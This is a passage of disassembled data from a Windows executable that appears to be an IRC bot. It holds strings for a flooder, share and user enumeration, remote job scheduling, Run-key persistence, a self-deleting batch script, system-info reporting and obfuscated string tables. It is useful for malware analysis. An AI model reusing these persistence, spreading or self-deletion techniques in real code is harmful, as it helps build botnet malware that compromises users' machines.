aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_402D7B+CBo
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_402D7B+BEo
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_402D7B+B6o
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_402D7B:loc_402E24o
aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_402D7B+97o
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_402D7B+8Ao
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_402D7B+7Do
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_402D7B+70o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_402D7B+63o
align 10h
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_402D7B+56o
aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_402D7B+49o
align 4
aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_402D7B+3Co
align 4
aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_402D7B+34o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_402D7B+27o
align 4
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_402D7B+19o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402D7B+8o
align 4
aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_402EFD+127o
dword_4139C0 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh
; DATA XREF: sub_402EFD+6Bo
dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
dd 34300320h, 3732502h, 2
dword_4139F4 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
; DATA XREF: sub_4030A7+5Eo
dd 30032074h, 73250234h, 203h
dword_413A14 dd 333131h ; DATA XREF: sub_4030A7:loc_4030BCo
dword_413A18 dd 0D5EFB9A9h, 99D184E3h, 0E391E4DCh, 0F0h, 0 ; DATA XREF: sub_4033F9+Ao
dword_413A2C dd 73255C5Ch, 4350495Ch, 24h ; DATA XREF: sub_40311D+18o
dword_413A38 dd 2E3031h ; DATA XREF: sub_40324A+48o
dword_413A3C dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_40324A+34o
dword_413A48 dd 2E323731h, 0 ; DATA XREF: sub_40324A+20o
dword_413A50 dd 2E373231h, 0 ; DATA XREF: sub_40324A+7o
dword_413A58 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_409918+172o
; sub_40D6E0+1DFo
dword_413A64 dd 313A3Ah ; DATA XREF: sub_40338B+3Co
dword_413A68 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_403EA9+48Fo
aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_403EA9+204o
; sub_403EA9+2A3o ...
align 4
aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_403EA9+198o
; sub_403EA9+23Fo ...
align 4
aU_0 db '%u',0 ; DATA XREF: sub_403EA9+16Ao
; sub_40D6E0+201o
align 4
aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_4044AA:loc_40455Eo
align 4
aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_4045B7+47o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_4045B7+3Ao
align 4
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_4045B7+2Do
align 4
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_4045B7+25o
align 4
aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_4045B7+Bo
align 4
aSystem db 'system',0 ; DATA XREF: sub_404639+C5o
; .packed:00416CF0o ...
align 4
dword_413B0C dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
; DATA XREF: sub_40485F+7Eo
dd 732520h
dword_413B24 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh
; DATA XREF: sub_40485F+48o
dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h
dword_413B4C dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_40491E+27o
dword_413B5C dd 58323025h, 0 ; DATA XREF: sub_404ACF+1C4o
; sub_40FD22+Do
dword_413B64 dd 58383025h, 0 ; DATA XREF: sub_404ACF+181o
; sub_407A76+107Co
dword_413B6C dd 7325h ; DATA XREF: sub_404ACF+15Fo
; sub_405FF3+2BAo ...
aHkus db 'HKUS',0 ; DATA XREF: sub_404ACF+79o
align 4
aHklm db 'HKLM',0 ; DATA XREF: sub_404ACF+5Do
align 10h
aHkcu db 'HKCU',0 ; DATA XREF: sub_404ACF+41o
align 4
aHkcr db 'HKCR',0 ; DATA XREF: sub_404ACF+25o
align 10h
off_413B90 dd offset dword_413DD8 ; DATA XREF: sub_4050D1+2Er
; sub_4050D1+3Co ...
off_413B94 dd offset dword_413DB0 ; DATA XREF: sub_4050D1+156r
; sub_4050D1+167r ...
dd offset dword_413DA0
dd offset dword_413DB0
dd offset dword_413D90
dd offset dword_413D6C
dd offset dword_413D5C
dd offset dword_413D3C
dd offset dword_413D28
dd offset dword_413D3C
dd offset dword_413D14
dd offset dword_413CFC
dd offset dword_413CEC
dd offset dword_413CD8
dd offset dword_413CC4
dd offset dword_413CA4
dd offset dword_413C90
dd offset dword_413C74
dd offset dword_413C64
dd offset dword_413C74
dd offset dword_413C54
dd offset dword_413C2C
dd offset dword_413C18
dd offset dword_413BF8
dd 2 dup(0)
dword_413BF8 dd 89FBA793h, 91D195BAh, 0E8B6EACDh, 8CDBC5F0h, 0BEB8BABBh
; DATA XREF: .packed:00413BECo
dd 98D296ADh, 8DAFCBh, 0
dword_413C18 dd 8BE0ABB7h, 92CC89B9h, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BE8o
dword_413C2C dd 97E8BE9Fh, 83DF85BCh, 0A691A5D0h, 87D0C1C8h, 9ADFEEACh
; DATA XREF: .packed:00413BE4o
dd 96C983A1h, 0E3ACEAC0h, 81C0D6F6h, 0BBh, 0
dword_413C54 dd 88FFA2BFh, 92C683FBh, 2 dup(0) ; DATA XREF: .packed:00413BE0o
dword_413C64 dd 94F7BEADh, 0D9C8959Ch, 9AB2DCh, 0 ; DATA XREF: .packed:00413BD8o
dword_413C74 dd 94F7BE8Dh, 0D7CC83B9h, 0D59DBFEAh, 87DDD3FDh, 8BD9EEB3h
; DATA XREF: .packed:00413BD4o
; .packed:00413BDCo
dd 0A5h, 0
dword_413C90 dd 94F7BEADh, 94C895B9h, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BD0o
dword_413CA4 dd 9FF6A789h, 0D7CD91BAh, 0F18BAFF7h, 0C2C2D2EBh, 9EEAA798h
; DATA XREF: .packed:00413BCCo
dd 9BD287A2h, 2 dup(0)
dword_413CC4 dd 9EEAA7B8h, 9BD287A2h, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BC8o
dword_413CD8 dd 9AF6A789h, 0B69E96B8h, 0F291AFDEh, 2 dup(0)
; DATA XREF: .packed:00413BC4o
dword_413CEC dd 9AF6A7A9h, 929096B8h, 0AFC1h, 0 ; DATA XREF: .packed:00413BC0o
dword_413CFC dd 9FF6A789h, 0D7CD91BAh, 0EA8FB2FCh, 90CCD2EBh, 2 dup(0)
; DATA XREF: .packed:00413BBCo
dword_413D14 dd 97E8B6BBh, 85DB94BAh, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BB8o
dword_413D28 dd 0B2F6A7A9h, 99D181BAh, 0E387AF97h, 2 dup(0)
; DATA XREF: .packed:00413BB0o
dword_413D3C dd 9FF6A789h, 0D7CD91BAh, 0E998A5F5h, 92E880EAh, 98F1A2AEh
; DATA XREF: .packed:00413BACo
; .packed:00413BB4o
dd 98D792B4h, 0D7h, 0
dword_413D5C dd 94FFA1B2h, 8FDBC8BBh, 0DCh, 0 ; DATA XREF: .packed:00413BA8o
dword_413D6C dd 9EF1A29Dh, 0A49E92BBh, 0E389B8DCh, 97FB80F6h, 96F1BAB0h
; DATA XREF: .packed:00413BA4o
dd 85EEC6B0h, 0F59AA9D6h, 0F7h, 0
dword_413D90 dd 88EABDBDh, 92C683FBh, 2 dup(0) ; DATA XREF: .packed:00413BA0o
dword_413DA0 dd 88F9BD97h, 8FDBC8A6h, 0DCh, 0 ; DATA XREF: .packed:00413B98o
dword_413DB0 dd 9AFBA192h, 92EDC6B9h, 0EF8DBFDAh, 0A389D9F0h, 94F0BAABh
; DATA XREF: .packed:off_413B94o
; .packed:00413B9Co
dd 8ECA8FA7h, 0F49A9999h, 87CAC9F2h, 2 dup(0)
dword_413DD8 dd 9AEBBDB2h, 8FDBC8A6h, 0DCh, 0 ; DATA XREF: .packed:off_413B90o
dword_413DE8 dd 293Ah ; DATA XREF: sub_404D00+8Bo
dword_413DEC dd 5Ch ; DATA XREF: sub_404D00+22o
; sub_404DAD+21o ...
dword_413DF0 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_404E31+24o
aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_404EDC+1Ao
align 10h
a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_404FEB+99o
db ':deleteagain',0Dh,0Ah
db 'del /A:H /F %s',0Dh,0Ah
db 'del /F %s',0Dh,0Ah
db 'if exist %s goto deleteagain',0Dh,0Ah
db 'del %s',0Dh,0Ah,0
align 4
a_bat db '.bat',0 ; DATA XREF: sub_404FEB+42o
align 4
aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_4050D1+132o
; sub_4052DF+AAo
align 4
aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_4052DF+D3o
; sub_4052DF+151o
align 10h
dword_413EC0 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
; DATA XREF: sub_40544F+DDo
dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h
dd 65732002h, 72657672h, 7325h
dword_413EF4 dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40544F+C2o
dword_413F00 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh
; DATA XREF: sub_4056AC+68o
dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
dd 2343003h, 2037325h, 0
dword_413F34 dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
; DATA XREF: sub_4057ED+85o
dd 34300320h, 3732502h, 2
dword_413F54 dd 20h ; DATA XREF: sub_4058EE+39o
; sub_4058EE+6Fo ...
dword_413F58 dd 30h ; DATA XREF: sub_405BDF+85o
; sub_408E1A+D6o ...
dword_413F5C dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_405C9C+DBo
; sub_405D8C+AEo
dword_413F68 dd 0D5F6BDB3h, 0D389B6h, 0 ; DATA XREF: sub_406373+5o
aIQBgEFSsoR db '©¹ïÕ¡ƒÌ…ØäœééŽË',0 ; DATA XREF: sub_406373+11o
align 4
dd 0
dword_413F8C dd 0D5F6BDB3h, 83B1h, 0 ; DATA XREF: sub_406373+1Fo
dword_413F98 dd 96EDAFBAh, 83DB88FBh, 2 dup(0) ; DATA XREF: sub_406373+2Do
dword_413FA8 dd 9CF7A1B9h, 969083B9h, 0DCh, 0 ; DATA XREF: sub_406373+3Bo
dword_413FB8 dd 9EF6A7B0h, 0D9D095B8h, 0A892A5DAh, 0D5E5h, 0 ; DATA XREF: sub_406373+4Bo
off_413FCC dd offset dword_4140F0 ; DATA XREF: sub_4063E4+Er
; sub_4063E4+18o ...
off_413FD0 dd offset dword_4140BC ; DATA XREF: sub_4063E4+5Br
dd offset dword_4140A0
dd offset dword_41405C
dd offset aLLDifjqsZbG ; "«½¶œ´‹Û„ˆä†ïéLJ±£"
dd offset dword_413FEC
dd 2 dup(0)
dword_413FEC dd 95EFA1BAh, 93DF89B9h, 0EB9EAD97h, 9B87D3E1h, 94F7A6BFh
; DATA XREF: .packed:00413FE0o
dd 9AD185FBh, 0EB9EAD96h, 8686D3E1h, 97F6B9B1h, 0D8DA87BAh
dd 0E898A3CAh, 9286C4E1h, 9AFBBEB1h, 96C7C9A5h, 0D990A5D1h
dd 87C3C5E6h, 9EF4ABA9h, 83E1D4B1h, 0B7D2FBD4h, 87D1C5AAh
dd 2 dup(0)
aLLDifjqsZbG db '«½¶œ´‹Û„ˆä†ïéLJ±£',0 ; DATA XREF: .packed:00413FDCo
align 4
dd 0
dword_41405C dd 95EFA1BAh, 93DF89B9h, 0B7D0F996h, 0D186C6ABh, 0CAACA8EFh
; DATA XREF: .packed:00413FD8o
dd 0DA89D4E1h, 0E3CBFA81h, 849194A9h, 98A0E3E7h, 0C293DEE4h
dd 0BF9BFBD8h, 0DA9CC2B7h, 0D4FDFDEBh, 84DF95B8h, 0A89CA4C0h
dd 0CCD8E1h, 0
dword_4140A0 dd 95EFA1BAh, 93DF89B9h, 0E596A797h, 8DDACFF6h, 98B6BAB8h
; DATA XREF: .packed:00413FD4o
dd 8BBAh, 0
dword_4140BC dd 9AECAFBAh, 0D8D083FAh, 0A998A3DBh, 90DBD5E7h, 0D4ECA0BBh
; DATA XREF: .packed:off_413FD0o
dd 90D18992h, 0E9ABAFD5h, 83CBCCEBh, 88F687ACh, 9BD287A1h
dd 0E3D1B8DCh, 0C5FCh, 0
dword_4140F0 dd 97F7A1AAh, 0D9CC87B7h, 0E190A5DEh, 8187C5E8h, 0A3B1h
; DATA XREF: .packed:off_413FCCo
dd 0
off_414108 dd offset byte_415355 ; DATA XREF: sub_405F9A+29o
dword_41410C dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
; DATA XREF: sub_405FF3+29Ao
dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh
dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4141FC dd 73h ; DATA XREF: sub_405FF3+239o
; sub_40656A+16Eo ...
aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_405FF3+1FBo
aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
; DATA XREF: sub_405FF3+1D1o
align 4
aNo db 'No',0 ; DATA XREF: sub_405FF3+19Ao
; sub_40656A+11Do ...
align 4
aYes db 'Yes',0 ; DATA XREF: sub_405FF3+191o
; sub_40656A+118o ...
a2003 db '2003',0 ; DATA XREF: sub_405FF3+16Ao
; .packed:00416EBCo
align 4
aXp db 'XP',0 ; DATA XREF: sub_405FF3+15Ao
align 4
a2000 db '2000',0 ; DATA XREF: sub_405FF3+14Ao
; .packed:00416EB0o
align 10h
aMe db 'ME',0 ; DATA XREF: sub_405FF3+131o
align 4
a98 db '98',0 ; DATA XREF: sub_405FF3+121o
align 4
aNt db 'NT',0 ; DATA XREF: sub_405FF3+111o
align 4
a95 db '95',0 ; DATA XREF: sub_405FF3+103o
align 10h
aNoSp db 'no SP',0 ; DATA XREF: sub_405FF3+E8o
align 4
a?: ; DATA XREF: sub_405FF3+E3o
unicode 0, <?>,0
aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4062CF+21o
align 4
dword_41428C dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
; DATA XREF: sub_40656A+1C8o
dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h
dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah
dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah
dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh
dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h
dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood db 'Good',0 ; DATA XREF: sub_40656A+15Bo
align 10h
aAvarage db 'Avarage',0 ; DATA XREF: sub_40656A+14Fo
aBad db 'Bad',0 ; DATA XREF: sub_40656A+148o
aLan db 'LAN',0 ; DATA XREF: sub_40656A:loc_40666Do
aModem db 'Modem',0 ; DATA XREF: sub_40656A+FCo
align 4
aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_40656A+AEo
aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_40677A+21o
align 10h
dword_4143A0 dd 5C3A41h ; DATA XREF: sub_4067B2+6r
; sub_40682C+60r ...
dword_4143A4 dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
; DATA XREF: sub_40682C+1A2o
dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h
dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4143DC dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_40682C+15Ao
dword_4143EC dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
; DATA XREF: sub_40682C+13Bo
dd 20424D02h, 65657266h, 0
aUnknown db 'unknown',0 ; DATA XREF: sub_40682C+FAo
; sub_40E6A0+36o
aRamdisk db 'ramdisk',0 ; DATA XREF: sub_40682C+F3o
aCdRom db 'cd-rom',0 ; DATA XREF: sub_40682C+E9o
align 4
aRemote db 'remote',0 ; DATA XREF: sub_40682C+DDo
align 4
aFixed db 'fixed',0 ; DATA XREF: sub_40682C+D1o
align 4
a_ db '. ',0 ; DATA XREF: sub_40682C+BDo
; sub_40682C+184o
align 4
aRemovable db 'removable',0 ; DATA XREF: sub_40682C+88o
align 4
aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_40682C+2Bo
align 4
aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_406A08+21o
align 10h
aThread db 'thread',0 ; DATA XREF: sub_406BBC+76o
; sub_406CB2+7Bo
align 4
aBtg db 'btg',0 ; DATA XREF: sub_406BBC+71o
dword_41447C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_406BBC+54o
aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0
aS db '*%s*',0 ; DATA XREF: sub_406EA9+60o
; sub_406F84+86o
align 4
dword_4144C4 dd 3430032Dh, 2037802h ; DATA XREF: sub_4070AF+DAo
aNoThreadsRunni db '- No threads running.',0
align 4
dword_4144E4 dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_4070AF+9Co
dword_4144F4 dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h
; DATA XREF: sub_4070AF+40o
dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h
dd 3A736461h, 0
aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_407237+14o
align 4
dword_414548 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
; DATA XREF: sub_4072FC+260o
dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
dd 203h
dword_414574 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
; DATA XREF: sub_4072FC+203o
dd 30033A72h, 64250234h, 203h
dword_41459C dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
; DATA XREF: sub_4072FC+1DCo
dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
dd 2E64252Eh, 296425h
aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_4072FC:loc_407466o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4072FC+6Do
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4072FC+5Bo
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4072FC+53o
align 4
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_4072FC+35o
align 10h
unk_414620 db 55h ; U ; DATA XREF: sub_40756C+Do
db 73h, 61h, 67h
db 65h ; e
db 3Ah, 20h, 3
db 30h ; 0
db 34h, 2, 74h
db 72h ; r
db 61h, 63h, 65h
db 3
db 2, 20h, 3Ch
db 3
db 30h, 34h, 2
db 68h ; h
db 6Fh, 73h, 74h
db 3
db 2, 3Eh, 20h
aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0
align 4
dword_414664 dd 202h ; DATA XREF: sub_40765C+F8o
dword_414668 dd 0A0D7325h, 0 ; DATA XREF: sub_40765C+5Fo
dword_414670 dd 3334h ; DATA XREF: sub_40765C+3Ao
dword_414674 dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h
; DATA XREF: sub_40765C+28o
dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
dd 3A02h
dword_4146A0 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
; DATA XREF: sub_4077A7+45o
dd 2E020373h, 0
dword_4146BC dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
; DATA XREF: sub_40780C+7Fo
dd 30032072h, 73250234h, 203h
dword_4146DC dd 92F7A6A9h, 85DFC8A6h, 0E8D1A4D0h, 0D4E1h, 0 ; DATA XREF: sub_40780C+4Do
aAbcdef db 'abcdef',0 ; DATA XREF: sub_4079AC+9o
align 4
aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_407A76:loc_408CFFo
align 10h
dword_414710 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
; DATA XREF: sub_407A76+1279o
dd 3643330h, 20732502h, 6E69575Bh, 5D3233h
dword_414734 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
; DATA XREF: sub_407A76+1232o
dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h
dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h
dd 64250234h, 696D0203h, 6574756Eh, 7325h
aUsername db 'username',0 ; DATA XREF: sub_407A76:loc_408B81o
align 4
aId db 'id',0 ; DATA XREF: sub_407A76+10EAo
align 4
dword_4147B8 dd 2ABF0h ; DATA XREF: sub_407A76+10C6r
align 10h
dword_4147C0 dd 4CD6B30h ; DATA XREF: sub_407A76+10BEr
dd 2 dup(0)
dword_4147CC dd 4BB8h ; DATA XREF: sub_407A76:loc_408B2Cr
dd 0
dword_4147D4 dd 4365310h ; DATA XREF: sub_407A76:loc_408B13r
align 10h
a9252 db '9252',0 ; DATA XREF: sub_407A76+1067o
align 4
dword_4147E8 dd 548DB0F1h ; DATA XREF: sub_407A76+105Er
dd 3 dup(0)
dword_4147F8 dd 1887BC00h ; DATA XREF: sub_407A76+1052r
dd 2 dup(0)
dword_414804 dd 187F0h ; DATA XREF: sub_407A76+1046r
dd 0
dword_41480C dd 28F1BC00h ; DATA XREF: sub_407A76+103Ar
dd 2 dup(0)
dword_414818 dd 28E90h ; DATA XREF: sub_407A76:loc_408AA4r
align 10h
dword_414820 dd 27FC4CF0h ; DATA XREF: sub_407A76+1009r
dd 2 dup(0)
dword_41482C dd 20E14300h ; DATA XREF: sub_407A76+FFDr
dd 2 dup(0)
dword_414838 dd 20CD0h ; DATA XREF: sub_407A76:loc_408A67r
align 10h
dword_414840 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h
; DATA XREF: sub_407A76+FE7o
dd 63h
dword_414858 dd 0ABB370h ; DATA XREF: sub_407A76:loc_4089A3r
dd 2 dup(0)
dword_414864 dd 2343003h, 2037325h ; DATA XREF: sub_407A76+F23o
aHasNoIpv4End_ db ' has no ipv4 end.',0
align 10h
dword_414880 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
; DATA XREF: sub_407A76+F0Do
dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h
dd 369252Eh, 2
a2002 db '2002',0 ; DATA XREF: sub_407A76+E7Do
; .packed:00416EB8o
align 4
dword_4148B8 dd 3A4D8ED6h ; DATA XREF: sub_407A76:loc_4088C0r
dd 3 dup(0)
dword_4148C8 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
; DATA XREF: sub_407A76+E40o
dd 2037325h, 2Eh
dword_4148E4 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
; DATA XREF: sub_407A76+E2Do
dd 2037325h, 0
dword_414900 dd 8CD90h ; DATA XREF: sub_407A76:loc_40883Ar
dd 2 dup(0)
dword_41490C dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
; DATA XREF: sub_407A76+D90o
dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h
dd 3003203Ah, 73250234h, 203h
dword_414940 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
; DATA XREF: sub_407A76+D71o
dd 3A737365h, 34300320h, 3732502h, 2
dword_414964 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
; DATA XREF: sub_407A76+D42o
dd 3A737365h, 34300320h, 3732502h, 2
dword_414988 dd 3Ch ; DATA XREF: sub_407A76+D35o
; sub_407A76+D64o ...
dword_41498C dd 22D90h ; DATA XREF: sub_407A76+CB8r
dd 0
dword_414994 dd 75FC4CF4h ; DATA XREF: sub_407A76+CACr
dd 3 dup(0)
dword_4149A4 dd 54FACD0h ; DATA XREF: sub_407A76:loc_408716r
align 10h
dword_4149B0 dd 23A8h ; DATA XREF: sub_407A76+C81r
align 8
dword_4149B8 dd 0A6C5A0h ; DATA XREF: sub_407A76+C75r
dd 2 dup(0)
dword_4149C4 dd 26730h ; DATA XREF: sub_407A76:loc_4086DFr
dd 0
dword_4149CC dd 21ABF1A9h ; DATA XREF: sub_407A76:loc_4086CDr
dd 3 dup(0)
dword_4149DC dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
; DATA XREF: sub_407A76+C41o
dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah
dd 75250234h, 2E0203h
dword_414A0C dd 13D450h ; DATA XREF: sub_407A76:loc_40869Fr
dd 2 dup(0)
dword_414A18 dd 11E3EAF0h ; DATA XREF: sub_407A76+BD4r
dd 2 dup(0)
dword_414A24 dd 220F0h ; DATA XREF: sub_407A76+BC8r
dd 0
dword_414A2C dd 119970h ; DATA XREF: sub_407A76+BBCr
dd 2 dup(0)
dword_414A38 dd 128170h ; DATA XREF: sub_407A76:loc_408626r
dd 2 dup(0)
dword_414A44 dd 45444F4Dh, 732520h ; DATA XREF: sub_407A76+BA6o
dword_414A4C dd 8C770h ; DATA XREF: sub_407A76:loc_408604r
dd 2 dup(0)
dword_414A58 dd 7FE2F929h ; DATA XREF: sub_407A76:loc_4085EBr
dd 3 dup(0)
aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_407A76+B4Fo
align 4
aOff db 'off',0 ; DATA XREF: sub_407A76+B49o
aOn db 'on',0 ; DATA XREF: sub_407A76+B42o
; sub_407A76:loc_4085CFo
align 4
dword_414A84 dd 8FDF90h ; DATA XREF: sub_407A76:loc_4085A1r
align 10h
dword_414A90 dd 11990h ; DATA XREF: sub_407A76:loc_408585r
align 8
dword_414A98 dd 2FE1870h ; DATA XREF: sub_407A76:loc_408556r
dd 2 dup(0)
dword_414AA4 dd 12E90h ; DATA XREF: sub_407A76:loc_408527r
dd 0
dword_414AAC dd 0A483B8h ; DATA XREF: sub_407A76:loc_4084F6r
dd 2 dup(0)
dword_414AB8 dd 54524150h, 732520h ; DATA XREF: sub_407A76+A76o
dword_414AC0 dd 127AF0h ; DATA XREF: sub_407A76:loc_4084D8r
dd 2 dup(0)
dword_414ACC dd 166200h ; DATA XREF: sub_407A76:loc_4084B3r
dd 2 dup(0)
dword_414AD8 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_407A76:loc_4084A4o
; sub_409918+44Do
dword_414AE4 dd 8DA00h ; DATA XREF: sub_407A76:loc_408465r
align 10h
aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_407A76+9D9o
align 4
dword_414B04 dd 22FC130h ; DATA XREF: sub_407A76:loc_408442r
align 10h
dword_414B10 dd 967690h ; DATA XREF: sub_407A76:loc_408423r
dd 2 dup(0)
dword_414B1C dd 8FD870h ; DATA XREF: sub_407A76:loc_4083FEr
dd 2 dup(0)
dword_414B28 dd 6C6E177Ah ; DATA XREF: sub_407A76:loc_4083E2r
dd 3 dup(0)
dword_414B38 dd 11C1E0F0h ; DATA XREF: sub_407A76:loc_4083C3r
dd 2 dup(0)
dword_414B44 dd 7D3A3379h ; DATA XREF: sub_407A76:loc_4083AEr
dd 3 dup(0)
dword_414B54 dd 2606B70h ; DATA XREF: sub_407A76:loc_408392r
align 10h
